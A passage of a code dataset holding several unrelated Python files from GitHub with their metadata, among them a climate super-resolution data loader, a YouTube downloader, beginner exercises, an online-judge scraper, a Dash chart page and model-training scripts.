tiff_dir: str,\n tiff_df: pd.DataFrame,\n elevation_file: str,\n land_mask_file: str,\n generator_type: str,\n variable: str,\n hr_size: Optional[int] = 452,\n scaling_factor: Optional[int] = 4,\n normalize: Optional[bool] = True,\n standardize: Optional[bool] = False,\n standardize_stats: Dict[str, Dict[str, float]] = None,\n normalize_range: Optional[Tuple[float, float]] = (-1.0, 1.0),\n use_elevation: Optional[bool] = True,\n use_mask: Optional[bool] = True,\n use_global_min_max: Optional[bool] = True,\n ):\n super().__init__(\n generator_type=generator_type,\n variable=variable,\n scaling_factor=scaling_factor,\n normalize=normalize,\n standardize=standardize,\n standardize_stats=standardize_stats,\n normalize_range=normalize_range,\n )\n\n self.tiff_dir = tiff_dir\n self.tiffs = glob(f\"{tiff_dir}/*.tif\")\n self.tiff_df = tiff_df.set_index(consts.datasets_and_preprocessing.filename, drop=True)\n self.use_elevation = use_elevation\n self.use_mask = use_mask\n self.use_global_min_max = use_global_min_max\n self.elevation_file = elevation_file\n self.land_mask_file = land_mask_file\n self.hr_size = hr_size\n\n if self.standardize:\n self.scaler = StandardScaler(\n self.standardize_stats[self.variable][consts.stats.mean],\n self.standardize_stats[self.variable][consts.stats.std],\n )\n self.elevation_scaler = StandardScaler(\n standardize_stats[consts.cruts.elev][consts.stats.mean],\n standardize_stats[consts.cruts.elev][consts.stats.std],\n )\n else:\n self.scaler = MinMaxScaler(feature_range=normalize_range)\n self.elevation_scaler = MinMaxScaler(feature_range=normalize_range)\n\n self.to_tensor = transforms.ToTensor()\n\n self.land_mask_np = ~np.isnan(np.array(Image.open(land_mask_file), dtype=np.float32))\n self.land_mask_tensor = self.to_tensor(self.land_mask_np)\n\n elevation_arr = np.array(Image.open(elevation_file), dtype=np.float32)\n elevation_arr = np.where(self.land_mask_np, elevation_arr, np.nan) # mask Antarctica\n elevation_arr = self.elevation_scaler.normalize(\n elevation_arr,\n missing_indicator=consts.world_clim.elevation_missing_indicator,\n )\n\n self.to_tensor = transforms.ToTensor()\n self.resize = A.Resize(\n height=self.hr_size // self.scaling_factor,\n width=self.hr_size // self.scaling_factor,\n interpolation=cv2.INTER_NEAREST,\n always_apply=True,\n p=1.0,\n )\n self.upscale = A.Resize(height=self.hr_size, width=self.hr_size, interpolation=cv2.INTER_NEAREST)\n\n self.elevation_data = self.to_tensor(elevation_arr)\n self.elevation_lr = self.to_tensor(self.resize(image=elevation_arr)[\"image\"])\n self.mask_lr = self.to_tensor(self.resize(image=self.land_mask_np.astype(int))[\"image\"].astype(bool))\n\n def _concat_if_needed(self, img_lr: Tensor, img_sr_nearest: Tensor) -> Tensor:\n \"\"\"Concatenates elevation and/or mask data as 2nd and/or 3rd channel to LR raster data.\"\"\"\n if self.generator_type == consts.models.srcnn:\n img_lr = img_sr_nearest\n\n if self.use_elevation:\n if self.generator_type == consts.models.srcnn:\n img_lr = torch.cat([img_lr, self.elevation_data], dim=0)\n else:\n img_lr = torch.cat([img_lr, self.elevation_lr], dim=0)\n\n if self.use_mask:\n if self.generator_type == consts.models.srcnn:\n img_lr = torch.cat([img_lr, self.land_mask_tensor], dim=0)\n else:\n mask_lr = self.to_tensor(self.resize(image=self.land_mask_np.astype(np.float32))[\"image\"])\n img_lr = torch.cat([img_lr, mask_lr], dim=0)\n\n return img_lr\n\n def _common_to_tensor(self, img_lr: np.ndarray) -> Tuple[Tensor, Tensor, Tensor, Tensor, Tensor, Tensor]:\n img_sr_nearest = self.to_tensor(self.upscale(image=img_lr)[\"image\"])\n\n img_lr = self.to_tensor(img_lr)\n\n img_lr = self._concat_if_needed(img_lr, img_sr_nearest)\n\n return (\n img_lr,\n self.elevation_data,\n self.elevation_lr,\n self.land_mask_np,\n self.land_mask_tensor,\n img_sr_nearest,\n )\n\n def _get_inference_sample(self, img_lr: np.ndarray) -> Dict[str, Union[Tensor, list]]:\n (\n img_lr,\n img_elev,\n img_elev_lr,\n mask,\n mask_tensor,\n img_sr_nearest,\n ) = self._common_to_tensor(img_lr)\n\n return {\n consts.batch_items.lr: img_lr,\n consts.batch_items.elevation: img_elev,\n consts.batch_items.elevation_lr: img_elev_lr,\n consts.batch_items.nearest: img_sr_nearest,\n consts.batch_items.mask: mask_tensor,\n consts.batch_items.mask_np: mask,\n }\n\n def __getitem__(self, index: int) -> Dict[str, Union[Tensor, list]]:\n file_path = self.tiffs[index]\n file_name = os.path.basename(file_path)\n row = self.tiff_df.loc[file_name]\n min = row[consts.stats.min] if not self.use_global_min_max else row[consts.stats.global_min]\n max = row[consts.stats.max] if not self.use_global_min_max else row[consts.stats.global_max]\n\n # original, lr\n with Image.open(file_path) as img:\n original_image = np.flipud(np.array(img))\n img_lr = original_image.copy()\n\n # normalize/standardize\n if self.normalize:\n img_lr = self.scaler.normalize(img_lr, min, max)\n if self.standardize:\n img_lr = self.scaler.normalize(arr=img_lr)\n\n item = self._get_inference_sample(img_lr)\n item[consts.batch_items.filename] = file_name\n item[consts.batch_items.min] = min\n item[consts.batch_items.max] = max\n\n return item\n\n def __len__(self):\n return len(self.tiffs)\n","repo_name":"xultaeculcis/climate-super-resolution","sub_path":"climsr/data/sr/geo_tiff_inference_dataset.py","file_name":"geo_tiff_inference_dataset.py","file_ext":"py","file_size_in_byte":6770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23576111328","text":"import os\nimport pymel.core as pc\n\nimport tkMayaCore as tkc\n\ndef conformPath(inPath):\n return inPath.replace(\"\\\\\", \"/\")\n\ndef resolvePath(inPath, inProdPath, inDebug=False,\n inRootVar=\"$ROOT\", inProjectPathVar=\"$PROJECTPATH\",\n inDebugPath=\"Q:\\\\ToonKit\\\\Rnd\\\\Picker\\\\Picker_Files\", inAsset=None):\n #Initialize\n replacements = []\n\n ROOT = inDebugPath\n replacements.append((inRootVar, ROOT))\n\n PROJECTPATH = os.path.join(ROOT, tkc.getTool().options[\"project\"])\n replacements.append((inProjectPathVar, PROJECTPATH))\n\n #Perform paths replacements\n for replacement in replacements:\n if replacement[0] in inPath:\n if inDebug:\n print (\"Replace\", replacement[0], \"by\", replacement[1],\"(\", inPath, \"=>\",inPath.replace(replacement[0], replacement[1]),\")\")\n\n inPath = inPath.replace(replacement[0], replacement[1])\n\n if not inDebug:\n inPath = inPath.replace(inDebugPath, inProdPath)\n inPath = inPath.replace(conformPath(inDebugPath), inProdPath)\n\n return conformPath(inPath)","repo_name":"CyrilToonkit/Toonkit_Module_Base","sub_path":"Maya/scripts/tkHooks/tkAnimPickerHooks.py","file_name":"tkAnimPickerHooks.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"24900836735","text":"import os\nfrom pytube import YouTube\n\ndef downloadYTvideo(link, dest_path):\n #ask for the link from user\n yt = YouTube(link)\n\n #Showing details\n print(\"Title: \",yt.title)\n yt.streams \\\n .filter(progressive=True, file_extension='mp4') \\\n .order_by('resolution') \\\n .desc() \\\n .first() \\\n .download(dest_path)\n\nif __name__ == \"__main__\":\n dest_path = os.path.join(\"..\",\"flm_detection_pipeline\", \"videos\")\n downloadYTvideo(link=\"https://www.youtube.com/watch?v=FEeTLopLkEo&ab_channel=TEDxTalks\",\n dest_path=dest_path)","repo_name":"annamalsCMU/iBlink-using-Facial-Landmark-Detection","sub_path":"blink-detection/code/utils/VideoUtils.py","file_name":"VideoUtils.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37725513877","text":"\"\"\"\nFile: Flowchart Program 6\nAuthor: Julia Piascik\nDate: Oct. 9, 2022\nPurpose: Create a Program for Flowchart Question 6\n\n\"\"\"\n\nans = 'Y'\n\nwhile ans == 'Y' or ans =='y':\n \n A = input(\"What is the value of A? \")\n A = int(A)\n\n B = input(\"What is the value of B? \")\n B = int(B)\n\n\n if A > B:\n print(\"Larger\")\n else:\n print(\"Not Larger\")\n #endif\n\n ans = input(\"Do again? (Y/N)\")\n\n\nprint(\"End of Program.\")\n\n\n\n\n\n","repo_name":"liapia99/CS-111","sub_path":"flowchart problems/Flowchart Program 6.py","file_name":"Flowchart Program 6.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4366802503","text":"#!/usr/bin/env python\n\nimport os, sys, subprocess\nimport argparse\nimport subprocess\nimport threading\nimport timeit\nfrom random import random, randint\nimport numpy as np\nfrom configobj import ConfigObj\nfrom cvguipy import cvconfig\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"create combination of datasets (sqlite(s)) with a range of configuration\")\n parser.add_argument('inputVideo', help= \"input video filename\")\n parser.add_argument('-d', '--database-file', dest='databaseFile', help=\"Name of the databaseFile. If this file is not existsed, program will run trajextract.py and cvplayer.py.\")\n parser.add_argument('-o', '--homography-file', dest='homography', required = True, help= \"Name of the homography file for cvplayer.\")\n parser.add_argument('-t', '--configuration-file', dest='range_cfg', help= \"the configuration-file contain the range of configuration\")\n parser.add_argument('-m', '--mask-File', dest='maskFilename', help=\"Name of the mask-File for trajextract\")\n args = parser.parse_args()\n\n # inputVideo check\n if not os.path.exists(args.inputVideo):\n print(\"Input video {} does not exist! Exiting...\".format(args.inputVideo))\n sys.exit(1)\n\n # configuration file check\n if args.range_cfg is None:\n config = ConfigObj('range.cfg')\n else:\n config = ConfigObj(args.range_cfg)\n \n # get configuration and put them to a List\n cfg_list = cvconfig.CVConfigList()\n thread_cfgtolist = threading.Thread(target = cvconfig.config_to_list, args = (cfg_list, config))\n thread_cfgtolist.start();\n\n # check if dbfile name is entered\n if args.databaseFile is None:\n print(\"Database-file is not entered, running trajextract and cvplayer.\")\n if not os.path.exists(args.homography):\n print(\"Homography file does not exist! Exiting...\")\n sys.exit(1)\n else:\n videofile=args.inputVideo\n if 'avi' in videofile:\n if args.maskFilename is not None:\n command = ['trajextract.py',args.inputVideo,'-m', args.maskFilename,'-o', args.homography]\n else:\n command = ['trajextract.py',args.inputVideo,'-o', args.homography]\n process = subprocess.Popen(command)\n process.wait()\n databaseFile = videofile.replace('avi','sqlite')\n command = ['cvplayer.py',args.inputVideo,'-d',databaseFile,'-o',args.homography]\n process = subprocess.Popen(command)\n process.wait()\n else:\n print(\"Input video {} is not 'avi' type. Exiting...\".format(args.inputVideo))\n sys.exit(1)\n else:\n databaseFile=args.databaseFile\n \n # timer\n start = timeit.default_timer()\n \n config_files = \"cfg_files/Cfg_ID_\"\n sqlite_files = \"sql_files/Sqlite_ID_\"\n os.mkdir('cfg_files')\n os.mkdir('sql_files')\n thread_cfgtolist.join();\n combination = cfg_list.get_total_combination()\n\n # create all combnation of cfg files and cp databaseFile\n process = []\n for ID in range(0,combination):\n cfg_name = config_files + str(ID) + '.cfg'\n sql_name = sqlite_files + str(ID) + '.sqlite'\n \n open(cfg_name,'w').close()\n config = ConfigObj(cfg_name)\n cfg_list.write_config(ID,config)\n if ID == 0:\n # create one tracking_feature_only sqlite\n print(\"creating the first tracking only database template.\")\n if args.maskFilename is not None:\n command = ['trajextract.py',args.inputVideo, '-d', sql_name, '-t', cfg_name, '-o', args.homography, '-m', args.maskFilename, '--tf']\n else:\n command = ['trajextract.py',args.inputVideo, '-d', sql_name, '-t', cfg_name, '-o', args.homography, '--tf']\n p = subprocess.Popen(command)\n p.wait()\n tf_dbfile = sql_name\n else :\n # duplicate the tracking_feature_only sqlite for every ID\n command = ['cp',tf_dbfile,sql_name]\n process.append(subprocess.Popen(command))\n cvconfig.wait_all_subproccess(process);\n\n # run trajextract(grouping feature) on all sqlites that contain only tracking feature\n process = []\n for ID in range(0,combination):\n cfg_name = config_files +str(ID)+'.cfg'\n sql_name = sqlite_files +str(ID)+'.sqlite'\n command = ['trajextract.py', args.inputVideo, '-o', args.homography, '-t',cfg_name, '-d', sql_name, '--gf']\n process.append(subprocess.Popen(command))\n cvconfig.wait_all_subproccess(process);\n \n stop = timeit.default_timer()\n print(\"cfg_edit has successful create \"+ str(combination) +\" of data sets in \" + str(stop - start))\n \n decision = raw_input('Do you want to compare all combination of data sets to ground truth(Annotaion)? [Y/N]\\n')\n if decision == \"Y\" or decision == \"y\":\n algorithm = raw_input('Which algorithm do you want to use for comparison? (Genetic: G, BruteForce: B)')\n while algorithm != 'G' and algorithm != 'B':\n print(\"invalid input......\")\n algorithm = raw_input('Which algorithm do you want to use for comparison? (Genetic: G, BruteForce: B)')\n if algorithm == 'B':\n command = ['compare.py', '-d', databaseFile, '-o', args.homography, '-md', '10', '-f', '0', '-l', str(combination-1)];\n process = subprocess.Popen(command)\n process.wait()\n if algorithm == 'G':\n print(\"Now...enter require parameter for genetic algorithm\")\n population = raw_input('Population: ')\n num_parent = raw_input('Number of parents selected each generation: ')\n accuracy = raw_input('Accuracy (Number of step to stop if no improvement): ')\n command = ['genetic_compare.py', '-d', args.databaseFile, '-o', args.homography, '-a', accuracy, '-p', population, '-np', num_parent]\n process = subprocess.Popen(command)\n \n \n","repo_name":"gwparikh/cvguipy","sub_path":"cfg_combination.py","file_name":"cfg_combination.py","file_ext":"py","file_size_in_byte":6058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33603083499","text":"import json\nimport re\n\nfrom bs4 import BeautifulSoup\n\nfrom app.config.setting import DEFAULT_PROBLEM_RATING\nfrom app.libs.spider_http import SpiderHttp\nfrom app.spiders.base_spider import BaseSpider\n\n\nclass HduSpider(BaseSpider):\n def get_user_info(self, oj_username, accept_problems):\n username = oj_username.oj_username\n url = 'http://acm.hdu.edu.cn/status.php?user={}'.format(username)\n accept_problem_dict = {}\n finished = False\n success = False\n while True:\n res = SpiderHttp().get(url=url)\n soup = BeautifulSoup(res.text, 'lxml')\n table = soup.find_all('table', {'class': 'table_text'})[0]\n trs = table.find_all('tr')[1:]\n for tr in trs:\n tds = tr.find_all('td')\n success = True\n if tds[2].text == 'Accepted':\n accept_time = tds[1].text\n problem_pid = tds[3].text\n if accept_problems.get('hdu-' + problem_pid) == accept_time:\n finished = True\n continue\n accept_problem_dict[problem_pid] = accept_time\n if finished:\n break\n next_page = soup.find('a', {'href': re.compile(r'.*first=[0-9].*')})\n if next_page:\n url = 'http://acm.hdu.edu.cn' + next_page['href']\n else:\n break\n accept_problem_list = [{\n 'oj': 'hdu',\n 'problem_pid': problem_pid,\n 'accept_time': accept_time\n } for problem_pid, accept_time in accept_problem_dict.items()]\n return {'success': success, 'data': accept_problem_list}\n\n def get_problem_info(self, problem_id):\n url = 'http://acm.hdu.edu.cn/showproblem.php?pid={}'.format(problem_id)\n res = SpiderHttp().get(url=url)\n try:\n re_res = re.search(r'<br>Total Submission\\(s\\): (\\d+)( ){4}Accepted Submission\\(s\\): (\\d+)<br>',\n res.text)\n total = int(re_res.group(1))\n accept = int(re_res.group(3))\n rating = DEFAULT_PROBLEM_RATING\n except:\n rating = DEFAULT_PROBLEM_RATING\n\n return {'rating': rating}\n","repo_name":"zucc-acm-devteam/view-oj-backend","sub_path":"app/spiders/hdu_spider.py","file_name":"hdu_spider.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"7757603920","text":"import dash\nfrom dash import dcc\nfrom dash import html\nfrom dash.dependencies import Input, Output\nimport dash_bootstrap_components as dbc\nimport plotly.express as px\n\nimport pandas as pd\nimport numpy as np\nfrom app import app\nfrom apps import navbar\n\ndf = pd.read_json('./data/imports_by_month_durationgroups.json')\n\ndef card():\n card = dbc.Card(\n [\n dbc.CardImg(src=app.get_asset_url('durations.png'), top=True),\n dbc.CardBody(\n [\n html.H4(\"Durations\", className=\"card-title\"),\n html.P(\"Shows what our most popular durations are over time\",\n className=\"card-text mb-4 h-100\",\n ),\n dcc.Link(dbc.Button(\"Show\", color=\"primary\", outline=True, class_name=\"w-100 mt-auto align-self-start\"), href='/apps/durationsstacked'),\n ], class_name=\"d-flex flex-column\",\n ),\n ],\n style={\"width\": \"18rem\"},)\n return card\n\ndef dashboard():\n layout = dbc.Container([\n dbc.Row(dbc.Col(html.H3(\"Imported Asset Durations (grouped)\", className='mb-4'), width=12),),\n dbc.Row(dbc.Col(html.P(\"Shows what our most popular durations are over time\", className='mb-4'), width=12),),\n\n dbc.Row([\n dcc.Graph(id='app3-graph-with-slider'),\n ], align=\"center\"), # Vertical: start, center, end\n dbc.Row([\n dcc.Slider(\n id='app3-year-slider',\n min=df['year'].min(),\n max=df['year'].max(),\n value=df['year'].max(),\n marks={str(year): str(year) for year in df['year'].unique()},\n step=None\n )\n ], align=\"center\"), # Vertical: start, center, end\n\n ], fluid=True)\n return layout\n\ndef page():\n layout = dbc.Container([\n navbar.create_navbar(),\n dashboard(),\n ])\n\n return layout\n\n@app.callback(\n Output('app3-graph-with-slider', 'figure'),\n Input('app3-year-slider', 'value'))\ndef update_figure(selected_year):\n filtered_df = df[df.year == selected_year]\n\n fig = px.bar(filtered_df, x=\"month\", y=\"total\", color=\"duration_group\")\n\n fig.update_layout(transition_duration=500)\n\n return fig\n\n\n\n ","repo_name":"chrisguest75/mongo_examples","sub_path":"06_dash/apps/durationsstacked.py","file_name":"durationsstacked.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19890953903","text":"#day10\r\n#kullanıcının girdiği boy ve ağırlık değerlerine göre vücut kitle indeksini\r\nboy=float(input(\"Boyunuzu giriniz: \"))\r\nkilo=float(input(\"Kilonuzu giriniz: \"))\r\n\r\nendeks=kilo/(boy*boy)\r\nif endeks <=18:\r\n print(f\"vücut endeksiniz: {endeks}\\n dünya sağlık örgütüne göre zayıf\")\r\nelif endeks>18 and endeks<=25:\r\n print(f\"vücuk endeksiniz:{endeks}\\n dünya sağlık örgütüne göre kilolu\")\r\nelif endeks>25 and endeks<=30:\r\n print(f\"vücut endeksiniz:{endeks}\\n dünya sağlık örgütüne göre obez\")\r\nelif endeks >30:\r\n print(\"ciddi bir kilonuz var mutlaka bir sağlık kuruluşuna başvurunuz\")\r\n \r\n \r\n","repo_name":"ElifAltinbulak/Python-Exercise","sub_path":"BasicExercise10.py","file_name":"BasicExercise10.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"819776507","text":"from typing import List\n\n\nclass Solution:\n def openLock(self, deadends: List[str], target: str) -> int:\n seen = {\"0000\"}\n\n def neighbors(node: str):\n for i in range(4):\n for direction in [-1, 1]:\n x = int(node[i])\n y = (x + direction) % 10\n combination = node[:i] + str(y) + node[i+1:]\n if combination not in seen:\n yield combination\n\n dead = set(deadends)\n\n queue = [(\"0000\", 0)]\n while queue:\n node, depth = queue.pop(0)\n if node == target:\n return depth\n if node in dead:\n continue\n for m in neighbors(node):\n seen.add(m)\n queue.append((m, depth+1))\n return -1\n\n\nif __name__ == \"__main__\":\n inputs = [\n ([\"0201\", \"0101\", \"0102\", \"1212\", \"2002\"], \"0202\"),\n ([\"8888\"], \"0009\"),\n ([\"8887\", \"8889\", \"8878\", \"8898\", \"8788\", \"8988\", \"7888\", \"9888\"], \"8888\")\n ]\n expected_list = [\n 6,\n 1,\n -1\n ]\n sol = Solution()\n for (deadends, target), expected in zip(inputs, expected_list):\n output = sol.openLock(deadends, target)\n assert output == expected, f'{output} while expected {expected}'\n print(\"pass\")\n","repo_name":"ILDAR9/Algos","sub_path":"encoding/open_lock.py","file_name":"open_lock.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70317976215","text":"# Function definition is here\n\nimport os\nimport numpy\t\t\t\t\t\t\tas np\nfrom routines.globals\t\t\t\t\timport DEBUG, BC_CORE, BC_WALL, FILE_TYPE_SOLEDGE2D, FILE_TYPE_SOLEDGE3X\n\n#=================================================\n# This routine \n#=================================================\n\ndef save_neighbors(Dir, Eirene, FileType=FILE_TYPE_SOLEDGE2D):\n\n\tif(DEBUG > 0):\tprint(\"save_neighbors\")\n\n\ttry:\n\t\tos.mkdir(Dir)\n\texcept OSError:\n\t\tpass\n\n\tif(FileType == FILE_TYPE_SOLEDGE2D):\tprefix = \"soledge2D\"\n\telif(FileType == FILE_TYPE_SOLEDGE3X):\tprefix = \"raptorX\"\n\telse:\n\t\tprint(\"\\tERROR: I am sorry invalid FileType=\",FileType,\" Check code!\")\n\t\texit()\n\n\tif(DEBUG > 1):\tprint(\"\\tsaving to: \" + Dir + prefix + \".neighbors\")\n\n\tfid = open(Dir + prefix + \".neighbors\",'w')\n\t\n\tTriangles = Eirene.Triangles\n\tnTriangles = len(Triangles)\n\tfid.write('{:d}\\n'.format(nTriangles))\n\tfor n in range(nTriangles):\n\t\tfid.write('{:d}\\t'.format(n + 1))\t\t\t\t\t\t\t\t\t\t#Python index to Matalab/Fortran indexes\n\t\tfid.write('{:d}\\t'.format(Triangles.neigh1[n] + 1))\t\t\t\t\t#Python index to Matalab/Fortran indexes\n\t\tfid.write('{:d}\\t'.format(Triangles.typeneigh1[n] + 1))\t\t\t\t#Python index to Matalab/Fortran indexes\n\t\tfid.write('{:d}\\t'.format(Triangles.BC1[n]))\n\t\tfid.write('{:d}\\t'.format(Triangles.neigh2[n] + 1))\n\t\tfid.write('{:d}\\t'.format(Triangles.typeneigh2[n] + 1))\n\t\tfid.write('{:d}\\t'.format(Triangles.BC2[n]))\n\t\tfid.write('{:d}\\t'.format(Triangles.neigh3[n] + 1 ))\n\t\tfid.write('{:d}\\t'.format(Triangles.typeneigh3[n] + 1))\n\t\tfid.write('{:d}\\t'.format(Triangles.BC3[n]))\n\t\tfid.write('{:d}\\t'.format(0))\n\t\tfid.write('{:d}\\n'.format(0))\n\n\tfid.close()\n\n\tif(FileType == FILE_TYPE_SOLEDGE3X):\treturn\n\n\tif(DEBUG > 1):\tprint(\"\\tsaving to: \" + Dir + \"wall_sequence_properties\")\n\n\tfid = open(Dir + \"wall_sequence_properties\",'w')\n\tWallTriangles\t= Eirene.WallTriangles\n\tfor iSeq in range(len(Eirene.Wall.TriSequences)):\n\t\tTypeMat\t\t= Eirene.Wall.TypeMat[iSeq]\n\t\tIsPump\t\t= Eirene.Wall.IsPump[iSeq]\n\t\tTriSeq\t\t= Eirene.Wall.TriSequences[iSeq]\n\n\t\tdata = np.zeros((len(TriSeq),5), dtype='i4')\n\n\t\tdata[:,0]\t= WallTriangles[TriSeq].ntri + 1\t\t\t\t#Python index to Matalab/Fortran indexes\n\t\tdata[:,1]\t= WallTriangles[TriSeq].side + 1\t\t\t\t#Python index to Matalab/Fortran indexes\n\t\tdata[:,2]\t= BC_WALL\n\n\t\tiPumps = np.where(IsPump)[0]\n\t\tdata[iPumps,3] = 0\n\t\tdata[iPumps,4] = 1\n\n\t\tiMats = np.where(~IsPump)[0]\n\t\tdata[iMats,3] = TypeMat[iMats] + 1\t\t\t\t\t\t\t#Python index to Matalab/Fortran indexes\n\t\tdata[iMats,4] = 0\n\n\t\tfor n in range(len(TriSeq)):\n\t\t\tfid.write('{:d} \\t {:d} \\t {:d} \\t {:d} \\t {:d} \\n'.format(data[n,0],data[n,1],data[n,2],data[n,3],data[n,4]))\n\n\tfid.close()\n\n\tif(DEBUG > 0):\tprint(\"save_neighbors: Completed\")\n","repo_name":"mikekryjak/soledge_scripts","sub_path":"files/save_neighbors.py","file_name":"save_neighbors.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29049268576","text":"from importlib import import_module\n\nfrom pipeline.conf import settings\n\n\ndef get_pipeline_context(obj, obj_type, data_type=\"data\", username=\"\"):\n \"\"\"\n @summary: pipeline context hook\n @param obj: PipelineTemplete or PipelineInstance object\n @param obj_type: template or instance\n @param data_type: data(for component parent_data.inputs) or context(for pipeline root context)\n @param username:\n @return:\n \"\"\"\n context = {}\n if obj_type == \"template\":\n context_path = settings.PIPELINE_TEMPLATE_CONTEXT\n elif obj_type == \"instance\":\n context_path = settings.PIPELINE_INSTANCE_CONTEXT\n else:\n return context\n if context_path:\n mod, func = context_path.rsplit(\".\", 1)\n mod = import_module(mod)\n func = getattr(mod, func)\n context = func(obj, data_type, username)\n if not isinstance(context, dict):\n context = {\"data\": context}\n return context\n","repo_name":"TencentBlueKing/bamboo-engine","sub_path":"runtime/bamboo-pipeline/pipeline/parser/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"67"} +{"seq_id":"25108571909","text":"from __future__ import print_function, division\nimport torch\nimport scipy.linalg\nimport sys, os, time\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport glob\nimport re\n\nfrom pyLib.io import getArgs, joinNumber\nfrom pyLib.train import genTrainConfig, trainOne\nimport pyLib.parallel as pp\n\nimport util\n\n\nDEBUG = False\n\n\ndef main():\n # pen, car, drone still means which problem we want to look into\n # pcakmean specifies the clustering approach we intend to use\n # clas means we train classifier\n # debug enables debug mode\n # miss trains models that are missing, but why?\n args = util.get_args('debug', 'clas', 'miss')\n global DEBUG\n if args.debug:\n DEBUG = True\n cfg, lbl_name = util.get_label_cfg_by_args(args)\n if args.pen:\n def archi_fun(ratio):\n return gen_archi_fun([2, 300, 75], ratio, 20)\n clas = [2, 100, -1]\n elif args.car:\n def archi_fun(ratio):\n return gen_archi_fun([4, 200, 200, 149], ratio, 20)\n clas = [4, 500, -1]\n elif args.drone:\n def archi_fun(ratio):\n return gen_archi_fun([7, 1000, 1000, 317], ratio, 20)\n clas = [7, 1000, -1]\n elif args.dtwo:\n def archi_fun(ratio):\n return gen_archi_fun([11, 2000, 2000, 317], ratio, 30)\n clas = [11, 1000, -1]\n elif args.done:\n def archi_fun(ratio):\n return gen_archi_fun([7, 1000, 1000, 317], ratio, 30)\n clas = [7, 1000, -1]\n else:\n print('You have to choose one dataset')\n raise SystemExit\n if args.clas:\n train_model_classifier(cfg, lbl_name, clas)\n elif args.miss:\n train_missing_models(cfg, lbl_name, archi_fun)\n else:\n train_model_by_data(cfg, lbl_name, archi_fun)\n\n\ndef train_model_classifier(cfg, lbl_name, clas):\n \"\"\"Train classifier for selected dataset.\n\n cfg: the config which specifies which dataset we work on\n lbl_name: specifying which clustering approach to unpack\n clas: list, int, the architecture of the classifier\n \"\"\"\n uid = cfg['uniqueid']\n label_data = np.load('data/%s/%s.npz' % (uid, lbl_name))\n data = np.load(cfg['file_path'])\n x = data[cfg['x_name']]\n assert clas[0] == x.shape[1]\n\n keys = label_data.keys()\n keys.sort(key=int)\n nkey = len(keys)\n nProcess = 8\n if nkey < nProcess:\n nProcess = nkey\n x_arr = pp.getSharedNumpy(x)\n lst_task = pp.getTaskSplit(nkey, nProcess)\n mp = pp.MulProcess(train_one_classifier, lst_task, nProcess, keys, uid, lbl_name, clas, label_data, x_arr)\n mp.run(wait=0.1)\n\n\ndef train_one_classifier(task, keys, uid, lbl_name, clas, label_data, x_arr):\n \"\"\"A single process that trains one classifier.\n\n Paramters\n ---------\n task: list of two integers, specifying which tasks we use\n keys: list of keys, work with task to locate cluster strategy\n clas: list, integer, neural network architecture\n label_data: dict, mapping from key to label\n x_arr: sharedNumpy, the feature vectors\n \"\"\"\n x = pp.getNumpy(x_arr)\n for i in range(task[0], task[1]):\n key = keys[i]\n n_cluster = int(key)\n clas[-1] = n_cluster\n model_directory = 'models/%s/%s/%s' % (uid, lbl_name, key)\n if not os.path.exists(model_directory):\n os.makedirs(model_directory)\n label = label_data[key]\n datai = {'x': x, 'label': label, 'n_label': n_cluster}\n config = genTrainConfig(network=clas, batch_size=256, test_batch_size=2048,\n outdir=model_directory, outname='classifier_%d_of_%s.pt' % (n_cluster, joinNumber(clas)))\n trainOne(config, datai, is_reg_task=False) # switch to classifier\n\n\ndef train_missing_models(cfg, lbl_name, archi_fun):\n \"\"\"Figure out which models are missing and train them.\"\"\"\n uid = cfg['uniqueid']\n label_data = np.load('data/%s/%s.npz' % (uid, lbl_name))\n data = np.load(cfg['file_path'])\n x, y = data[cfg['x_name']], data[cfg['y_name']]\n n_data = x.shape[0]\n\n exist_mdls = util.get_clus_reg_by_dir('models/%s/%s' % (uid, lbl_name))\n exist_mdl_key = exist_mdls.keys()\n\n keys = label_data.keys()\n keys.sort(key=int)\n\n for key in keys:\n n_cluster = int(key)\n model_directory = 'models/%s/%s/%s' % (uid, lbl_name, key)\n files = glob.glob(os.path.join(model_directory, '*'))\n # create an array of missing flag\n miss_flag = np.ones(n_cluster, dtype=int)\n for file_ in files:\n if 'classifier_' in file_:\n continue\n mdl_idx = int(re.findall('\\/model_(\\d+)_', file_)[-1])\n miss_flag[mdl_idx] = 0 # this is not missing\n miss_idx = np.where(miss_flag == 1)[0]\n if miss_idx.shape[0] == 0:\n print('No missing model for key ', key)\n else:\n print('missing models are ', miss_idx)\n label = label_data[key]\n x_arr, y_arr, label_arr = pp.getSharedNumpy(x, y, label)\n for idx in miss_idx:\n train_one_model([idx, idx + 1], model_directory, archi_fun, x_arr, y_arr, label_arr)\n\n\ndef train_model_by_data(cfg, lbl_name, archi_fun, evaluate=False):\n \"\"\"Train a model based on a few things specified before.\n\n archi_fun is a callable that takes in x, y, integer of data size and output a model layer list\n \"\"\"\n uid = cfg['uniqueid']\n label_data = np.load('data/%s/%s.npz' % (uid, lbl_name))\n data = np.load(cfg['file_path'])\n x, y = data[cfg['x_name']], data[cfg['y_name']]\n n_data = 